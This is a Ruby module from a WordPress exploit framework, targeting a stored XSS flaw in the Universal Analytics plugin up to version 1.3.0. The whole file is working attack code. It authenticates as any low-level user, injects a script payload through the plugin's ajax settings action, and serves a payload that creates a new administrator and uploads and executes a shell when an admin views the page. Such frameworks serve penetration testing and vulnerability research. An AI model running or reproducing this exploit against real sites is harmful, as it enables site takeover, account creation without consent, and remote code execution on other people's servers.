# frozen_string_literal: true

class Wpxf::Exploit::UniversalAnalyticsAuthenticatedXssShellUpload < Wpxf::Module
  include Wpxf::WordPress::Xss

  def initialize
    super

    update_info(
      name: 'Universal Analytics <= 1.3.0 Authenticated XSS Shell Upload',
      desc: 'This module exploits a lack of user level validation and input '\
            'sanitization in versions <= 1.3.0 of the Universal Analytics '\
            'plugin which allows authenticated users of any level to store '\
            'a script that will create a new admin user and use the new '\
            'credentials to upload and execute a payload when an admin '\
            'views the page.',
      author: [
        'rastating'  # WPXF module
      ],
      references: [
        ['WPVDB', '8381'],
        ['URL', 'https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=1340918%40universal-analytics%2Ftrunk%2Funiversalanalytics.php&old=910037%40universal-analytics%2Ftrunk%2Funiversalanalytics.php'],
      ],
      date: 'Feb 04 2016'
    )

    register_options([
      StringOption.new(
        name: 'username',
        desc: 'The WordPress username to authenticate with',
        required: true
      ),
      StringOption.new(
        name: 'password',
        desc: 'The WordPress password to authenticate with',
        required: true
      )
    ])
  end

  def check
    check_plugin_version_from_readme('universal-analytics', '1.3.1')
  end

  def username
    datastore['username']
  end

  def password
    datastore['password']
  end

  def script
    "</script><script>#{xss_ascii_encoded_include_script}</script><script>/*"
  end

  def run
    return false unless super

    cookie = authenticate_with_wordpress(username, password)
    return false unless cookie

    emit_info 'Storing script...'
    emit_info script, true
    res = execute_get_request(
      url: wordpress_url_admin_ajax,
      cookie: cookie,
      params: {
        'action' => 'mdg_save_google_universal_analytics_settings',
        'plugin_switch' => 'on',
        'property_id' => script
      }
    )

    if res.nil?
      emit_error 'No response from the target'
      return false
    end

    if res.code != 200
      emit_error "Server responded with code #{res.code}"
      return false
    end

    emit_success "Script stored and will be executed when a user views a page"
    start_http_server

    return @success
  end
end
